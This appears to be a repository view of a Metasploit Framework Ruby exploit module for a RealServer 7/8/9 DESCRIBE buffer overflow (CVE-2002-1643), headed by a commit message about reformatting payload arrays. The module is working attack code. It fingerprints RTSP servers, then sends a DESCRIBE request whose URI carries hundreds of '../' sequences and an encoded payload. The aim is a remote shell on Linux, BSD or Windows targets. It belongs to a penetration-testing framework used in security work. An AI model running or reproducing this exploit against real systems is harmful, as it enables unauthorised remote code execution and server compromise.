Tod Beardsley
c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
85 lines
2.3 KiB
Ruby
85 lines
2.3 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/exploit/http/client'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'RealServer Describe Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in RealServer 7/8/9
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and was based on Johnny Cyberpunk's THCrealbad exploit. This
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code should reliably exploit Linux, BSD, and Windows-based
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servers.
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},
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'Author' => 'hdm',
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'References' =>
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[
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[ 'CVE', '2002-1643' ],
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[ 'OSVDB', '4468'],
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[ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html']
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"
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},
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'Targets' =>
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[
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[
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'Universal',
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{
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'Platform' => %w{ bsd linux win }
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},
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],
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],
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'DisclosureDate' => 'Dec 20 2002',
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'DefaultTarget' => 0))
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end
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def check
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res = send_request_raw(
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{
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'method' => 'OPTIONS',
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'proto' => 'RTSP',
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'version' => '1.0',
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'uri' => '/'
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}, 5)
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info = http_fingerprint({ :response => res }) # check method / Custom server check
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if res and res['Server']
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print_status("Found RTSP: #{res['Server']}")
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return Exploit::CheckCode::Detected
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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print_status("RealServer universal exploit launched against #{rhost}")
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print_status("Kill the master rmserver pid to prevent shell disconnect")
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encoded = Rex::Text.to_hex(payload.encoded, "%")
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res = send_request_raw({
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'method' => 'DESCRIBE',
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'proto' => 'RTSP',
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'version' => '1.0',
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'uri' => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi"
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}, 5)
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handler
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end
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end
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